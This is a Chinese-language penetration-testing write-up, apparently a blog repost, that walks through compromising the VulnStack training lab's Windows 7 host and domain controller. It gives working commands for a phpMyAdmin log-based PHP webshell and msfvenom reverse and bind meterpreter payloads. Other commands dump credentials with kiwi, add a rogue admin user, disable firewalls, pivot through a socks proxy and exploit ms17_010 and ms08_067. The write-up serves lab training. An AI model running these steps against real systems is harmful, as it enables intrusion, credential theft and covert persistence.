|
原文链接:VulnStack超全面详细的渗透测试笔记
文章正文
1. 根据网卡获取的网段信息,对win7所在网段来一波存活主机检测,排除其他的之后目标锁定在主机号为128的主机上
2. 对发现的存活主机来一波整体信息收集发现开了以下的端口,并且是一个域用户
- ┌──(root????kali)-[/]
- └─# nmap -A 192.168.164.128
- Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 09:53 CST
- Nmap scan report for 192.168.164.128
- Host is up (0.00052s latency).
- Not shown: 989 closed ports
- PORT STATE SERVICE VERSION
- 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
- |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
- |_http-title: Site doesn't have a title (text/html).
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
- 1025/tcp open msrpc Microsoft Windows RPC
- 1026/tcp open msrpc Microsoft Windows RPC
- 1027/tcp open msrpc Microsoft Windows RPC
- 1028/tcp open msrpc Microsoft Windows RPC
- 1029/tcp open msrpc Microsoft Windows RPC
- 1030/tcp open msrpc Microsoft Windows RPC
- 3306/tcp open mysql MySQL (unauthorized)
- MAC Address: 00:0C:29:A7:C1:B2 (VMware)
- Device type: general purpose|media device
- Running: Microsoft Windows 2008|10|7|8.1, Microsoft embedded
- OS CPE: cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_10 cpe:/h:microsoft:xbox_one cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
- OS details: Microsoft Windows Server 2008 SP2, Microsoft Windows Server 2008 SP2 or Windows 10 or Xbox One, Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
- Network Distance: 1 hop
- Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
- Host script results:
- |_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
- |_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a7:c1:b2 (VMware)
- | smb-os-discovery:
- | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
- | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
- | Computer name: stu1
- | NetBIOS computer name: STU1\x00
- | Domain name: god.org
- | Forest name: god.org
- | FQDN: stu1.god.org
- |_ System time: 2021-07-26T09:55:13+08:00
- | smb-security-mode:
- | account_used: guest
- | authentication_level: user
- | challenge_response: supported
- |_ message_signing: disabled (dangerous, but default)
- | smb2-security-mode:
- | 2.02:
- |_ Message signing enabled but not required
- | smb2-time:
- | date: 2021-07-26T01:55:13
- |_ start_date: 2021-07-26T01:43:45
- TRACEROUTE
- HOP RTT ADDRESS
- 1 0.51 ms 192.168.164.128
- OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- Nmap done: 1 IP address (1 host up) scanned in 85.47 seconds
复制代码
3. 访问改web服务器的地址获取页面内容,发现并没有什么可以利用的东西,只能先目录扫描获取一些有用有用信息
4. 用dirsearch工具来扫描,kali默认没有安装,自己装一下就好了,发现有phpmyadmin的目录,说明安装了phpmyadmin,正好和端口扫描的3306 mysql服务相对应,然后在把目录都访问一遍之后发现了phpstudy探针
└─dirsearch -u http://192.168.164.128
5. 本来想着找个python脚本爆破一下,可惜网上的大多用不了,手动猜出来了root:root,登陆进去之后就是通过phpmyadmin写入webshell了
我们这里用日志写入一句话的方式,首先进入phpmyadmin后台,查看genelog变量,更改general log和general log file参数,初始设置general log是OFF,我们将其改成ON;general log file改成网站的根目录,通过phpstudy指针已经知道了网站根目录
show global variables like '%general%';
set global general_log='on';
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';
这边写入大马意识可以的:select '<?php eval($_POST["shell"]);?>';
6. 蚁剑连接不用多说了,这边有个坑,蚁剑下载插件的时候用了代理,本地环境连接一直连不上,人麻了,测试了一下权限administrator真的高
7. 查看根目录之后发现了一个cms,我们在浏览器访问,自己安装的phpstudy打不开这个管理系统,把原来的phpstudy重启一下完美解决
不用扫目录之类的了,主页面已经给了出来信息直接用,进入后台并登录
8. 在前台模板哪里发现了上传点,我们可以上传一个大马,奥里给!创建了一个名为shell_1.php的文件,然后就是查找创建的目录
9. 找了半天,在robots.txt里面找到了目录一个一个找出来了,不过好像可以目录穿越出来,我试了几下没粗来,不过这个大马子挺好用
10. 看了一下教程,说是留言板有个xss的,我们也来试试
<script>alert('xss')</script>
成功弹窗
11. 不整那么多了,现在就是经典内网环节,先用msf生成马子用蚁剑上传,反弹shell用msf监听
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.164.129 LPORT=1222 -f exe -o asd.exe
把生成的马子传上去之后执行,msf监听拿到会话
- use exploit/mutli/handler
- set payload windows/x64/meterpreter_reverse_tcp
- set lhost 192.168.164.129
- set lport 1222
复制代码
12. 本来获得会话之后就要是要提权,这个进来之后就是admin,所以省略这一步,我们直接抓取域用户的密码信息
13. 加载Kiwl插件获取hash并解密
- ps:
- migrate PID(进程迁移)这边meterpreter是32位的,系统是64位的,所以得迁移进程
- meterpreter > load Kiwi
- meterpreter > creds_all
复制代码
14. 开启3389端口,进入远程桌面,用nmap看看开了没,这边还需要自己添加用户
net user test Admin123 /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户
run post/windows/manage/enable_rdp
rdesktop 192.168.164.128:3389 kali的一个远程工具
15. 开始横向移动,先自动创建路由
run post/multi/manage/autoroute
16. 挂起会话,通过post/multi/manage/autoroute 这个模块查看路由表
17. 使用auxiliary/server/socks_proxy这个模块开进行socks代理,设置好服务器ip和端口,运行后自动挂入后台
18. 修改/etc/proxychains.conf文件
19. 查看socks5的端口开启了没
20. 起来了之后就可以使用nmap扫描到内网的存活主机,这样扫描起来有点慢
proxychains nmap -sT -Pn 192.168.52.143
21. 我们这里使用msf自带的模块来扫描,发现了两台存活的主机
use auxiliary/scanner/netbios/nbname
22. 再用msf的端口扫描模块对发现的主机扫描,查看开放的端口,这边双管齐下,扫描的太慢了
use auxiliary/scanner/portscan/tcp
23. 都开了445端口经典ms17_010利用起来,先扫描发现有ms17_010的洞
use auxiliary/scanner/smb/smb_ms17_010
24. 既然都有洞了,我门直接丝滑小连招,使用ms17_010的command模块可以执行指令
use auxiliary/admin/smb/ms17_010_command
25. 这个上车补票卫视不晚,我们搜集一波域信息
net config workstation 查看是否有域,以及当前登录域
这边有一个乱码问题,我们在shell视图输入,完美解决
C:\Windows\system32>chcp 65001net view 查看域内主机列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
然后通过 ping 命令查看域中主机的ip
net user /domain 查看域内所有域用户
net group "domain admins" /domain 查看域管理员列表
26. 完全可以用ms17_010command模块来执行命令,打开3389添加用户,登陆进去,其实在win7上就拿到了管理员用户名和密码,不过这是练习,我们就在继续骚操作
我们通过弹一个正向shell (因为msf 开了代理,所以不能弹反向shell),我们可以win7远程桌面,所给把马子传给win7然后开共享目录,下载到域控上面,然后执行
msfvenom -p windows/meterpreter/bind_tcp -f exe -o /home/dzj/s.exe
msfconsole开启监听
use exploit/multi/handler
win7开启共享
然后用域控的ms17_010command执行复制指令
copy \\192.168.52.143\WWW\s.exe C:\s.exe
这里又有一个坑,win7防火墙开了,导致域控一直下载不了文件,麻了
查看放防火墙状态:netsh advfirewall show allprofile state
关闭所有防火墙:netsh advfirewall set allprofiles state off
欧克再试试下载文件,不能下载,我们用其他方法
set command copy \\\\STU1\\WWW\\s2.exe C:\\s2.exe
这里我是下完之后试的,重启机子就好了,我tm
然后就是msf监听了
set payload windows/x64/meterpreter/bind_tcp
一直连不上shell应该是防火墙的原因,不过我在用win7的nmap扫描之后发现了ms08_067
27. 利用exploit/windows/smb/ms08_067_netapi这个模块直接拿shell
set payload windows/meterpreter/bind_tcp
28. 利用一下win7上的nmap了扫描一下另外两个主机,两个主机都有ms17_010的洞,不过有一台是32位的系统利用不了,只能从另一台下手了
exploit/windows/smb/ms17_010_eternalblue
这还有坑这个主机开了防火墙,我之前试了几次一直拿不到shell,用ms17_010command执行指令关闭之后就返回了shell,这个因为开了代理所以得用set payload windows/x64/meterpreter/bind_tcp正向连接
29. 现在就是抓取hash密码,开启远程桌面,作为桌面党开了远程桌面才算舒服了~~~
套娃ing,这里可以用端口转发,我直接在win7的远程再开一个远程
30. 最后一个其实已经拿到域管理员的密码了可以直接用ms17_010commad关闭防火墙打开3389了
这里还有一点对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,可以使用rdpwrap。
rdpwrap是一款可以允许非服务器版本进行多个用户登录的patcher,从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:
RDPWInst.exe -i -s
|
|